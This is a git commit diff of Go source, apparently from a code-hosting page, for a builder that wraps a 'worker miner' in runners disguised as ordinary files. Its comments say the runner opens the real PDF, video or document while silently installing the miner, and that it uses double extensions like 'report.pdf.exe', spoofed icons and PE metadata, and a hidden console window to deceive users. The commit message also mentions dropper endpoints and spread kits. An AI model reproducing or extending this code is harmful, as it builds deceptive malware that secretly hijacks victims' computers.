Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -10,103 +10,106 @@ import (
|
||||
)
|
||||
|
||||
type fusionBuildResult struct {
|
||||
LauncherPath string
|
||||
MediaName string
|
||||
LauncherPath string
|
||||
MediaName string
|
||||
// Legacy fields kept for backward compat — unused in file-fusion mode
|
||||
EncryptedPath string
|
||||
ShortcutPath string
|
||||
}
|
||||
|
||||
// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
|
||||
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
|
||||
func detectFusionPayloadKind(path string) string {
|
||||
switch strings.ToLower(filepath.Ext(path)) {
|
||||
case ".mp4", ".mkv", ".mov":
|
||||
return "video"
|
||||
default:
|
||||
if strings.EqualFold(filepath.Ext(path), ".exe") {
|
||||
return "exe"
|
||||
}
|
||||
return "file"
|
||||
}
|
||||
|
||||
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
|
||||
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
platforms := platformsForRequest(req)
|
||||
return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0])
|
||||
}
|
||||
|
||||
// buildFusionForPlatform compiles a fusion runner for a single platform.
|
||||
// Accepts any payload: PDF, video, document, image, or executable.
|
||||
func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
req.FusionPayloadKind = kind
|
||||
|
||||
if kind == "video" {
|
||||
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
|
||||
}
|
||||
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &fusionBuildResult{LauncherPath: path}, nil
|
||||
return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform)
|
||||
}
|
||||
|
||||
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
// buildFileFusion builds a universal fusion runner for any file type.
|
||||
//
|
||||
// Delivery modes:
|
||||
// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
|
||||
// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
|
||||
//
|
||||
// The runner, when executed, opens the original file with the OS default application
|
||||
// while silently installing the worker miner in the background.
|
||||
func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
// Resolve the display name for the payload file
|
||||
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
if mediaName == "" {
|
||||
mediaName = filepath.Base(mediaPath)
|
||||
mediaName = filepath.Base(payloadPath)
|
||||
}
|
||||
mediaName = sanitizeFileName(mediaName)
|
||||
|
||||
// Resolve the runner output name
|
||||
outputName := strings.TrimSpace(req.FusionOutputName)
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(mediaName)
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = runnerNameForFile(mediaName, platform)
|
||||
} else {
|
||||
if outputName == "" {
|
||||
outputName = runnerNameForMedia(mediaName)
|
||||
// Ensure correct extension for this platform
|
||||
if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
|
||||
outputName += platform.Ext
|
||||
} else if platform.Ext == "" {
|
||||
outputName = strings.TrimSuffix(outputName, ".exe")
|
||||
}
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputName = sanitizeFileName(outputName)
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
|
||||
kind := req.FusionPayloadKind
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encFileName := mediaName + ".cmdata"
|
||||
var mediaKey []byte
|
||||
if mode == "paired" {
|
||||
var keyErr error
|
||||
mediaKey, keyErr = NewMediaLockKey()
|
||||
if keyErr != nil {
|
||||
return nil, keyErr
|
||||
}
|
||||
}
|
||||
manifestFields := map[string]string{
|
||||
"payload_kind": "video",
|
||||
"media_mode": mode,
|
||||
"media_file_name": mediaName,
|
||||
}
|
||||
if mode == "paired" {
|
||||
manifestFields["media_enc_file"] = encFileName
|
||||
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
|
||||
manifestFields["runner_display_name"] = outputName
|
||||
}
|
||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||
// Write worker binary into assets
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var encryptedPath, shortcutPath string
|
||||
// Write payload according to delivery mode
|
||||
switch mode {
|
||||
case "embedded":
|
||||
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
|
||||
// Bake the payload into the runner binary as assets/payload.bin
|
||||
if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Keep legacy placeholders so the embed directive compiles cleanly
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
default:
|
||||
default: // "paired"
|
||||
// Empty placeholders — payload ships alongside the runner in the ZIP
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -115,73 +118,43 @@ func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *
|
||||
}
|
||||
}
|
||||
|
||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||
ldflags := "-s -w -H windowsgui"
|
||||
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
|
||||
// Write manifest for the runner to read at runtime
|
||||
manifestFields := map[string]string{
|
||||
"payload_kind": kind,
|
||||
"media_mode": mode,
|
||||
"media_file_name": mediaName,
|
||||
}
|
||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if mode == "paired" {
|
||||
encryptedPath = filepath.Join(buildDir, encFileName)
|
||||
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = setHiddenFile(encryptedPath)
|
||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
|
||||
ldflags := ldflagsFor(req, platform)
|
||||
// Force GUI subsystem (no console window) for all fusion runners
|
||||
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
|
||||
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
|
||||
return nil, err
|
||||
// Windows: inject the system icon + spoofed PE version info so the runner
|
||||
// looks exactly like the real file type (PDF icon, Word icon, etc.)
|
||||
if platform.GOOS == "windows" && kind != "exe" {
|
||||
payloadExt := strings.ToLower(filepath.Ext(mediaName))
|
||||
if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
|
||||
// Non-fatal — runner still works without the disguise
|
||||
log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
|
||||
}
|
||||
}
|
||||
|
||||
return &fusionBuildResult{
|
||||
LauncherPath: launcherPath,
|
||||
MediaName: mediaName,
|
||||
EncryptedPath: encryptedPath,
|
||||
ShortcutPath: shortcutPath,
|
||||
LauncherPath: launcherPath,
|
||||
MediaName: mediaName,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if outputName == "" {
|
||||
outputName = filepath.Base(prepPath)
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||
|
||||
ldflags := fusionLdflags(prepPath)
|
||||
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
|
||||
// prepareFusionProject copies the fusion source into a temp build dir with baked constants.
|
||||
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
|
||||
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
||||
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
||||
@@ -205,7 +178,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
|
||||
|
||||
for _, name := range []string{
|
||||
"go.mod", "launch_windows.go", "launch_stub.go",
|
||||
"media_windows.go", "media_stub.go", "media_crypto.go",
|
||||
"media_windows.go", "media_linux.go", "media_darwin.go",
|
||||
"media_crypto.go", "cache_windows.go", "cache_unix.go",
|
||||
"lock_hint_windows.go", "lock_hint_stub.go",
|
||||
} {
|
||||
src := filepath.Join(fusionSrc, name)
|
||||
@@ -225,8 +199,8 @@ func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName
|
||||
repl := map[string]string{
|
||||
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
|
||||
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
|
||||
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||
}
|
||||
for old, new := range repl {
|
||||
out = strings.Replace(out, old, new, 1)
|
||||
@@ -259,26 +233,38 @@ func normalizeFusionMediaMode(mode string) string {
|
||||
}
|
||||
}
|
||||
|
||||
func disguiseVideoExeName(mediaName string) string {
|
||||
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
}
|
||||
ext := filepath.Ext(mediaName)
|
||||
if ext == "" {
|
||||
ext = ".mkv"
|
||||
}
|
||||
return sanitizeFileName(base + ext + ".exe")
|
||||
}
|
||||
|
||||
func runnerNameForMedia(mediaName string) string {
|
||||
// runnerNameForFile generates the output runner binary name for a given payload filename.
|
||||
//
|
||||
// On Windows, non-exe payloads use the double-extension trick:
|
||||
//
|
||||
// "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
||||
//
|
||||
// When Windows hides known file extensions (the OS default), the user sees
|
||||
// "quarterly-report.pdf" with the injected PDF icon — visually identical to the
|
||||
// real document. After applyDocumentDisguise runs, the PE metadata also matches.
|
||||
//
|
||||
// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
|
||||
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
|
||||
func runnerNameForFile(mediaName string, platform BuildPlatform) string {
|
||||
ext := strings.ToLower(filepath.Ext(mediaName))
|
||||
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
base = "runner"
|
||||
}
|
||||
return sanitizeFileName(base + "-runner.exe")
|
||||
if platform.GOOS == "windows" {
|
||||
// Use disguisedRunnerName which handles double-extension and sanitisation
|
||||
return disguisedRunnerName(mediaName)
|
||||
}
|
||||
// Linux / macOS: simple "-runner" name, no double extension
|
||||
name := sanitizeFileName(base + "-runner")
|
||||
_ = ext // extension not needed for Unix names
|
||||
if platform.Ext != "" {
|
||||
return name + platform.Ext
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
// fusionExportSubdir returns the output subfolder name for the deliverable.
|
||||
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
||||
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
|
||||
return sanitizeDirName(s)
|
||||
|
||||
Reference in New Issue
Block a user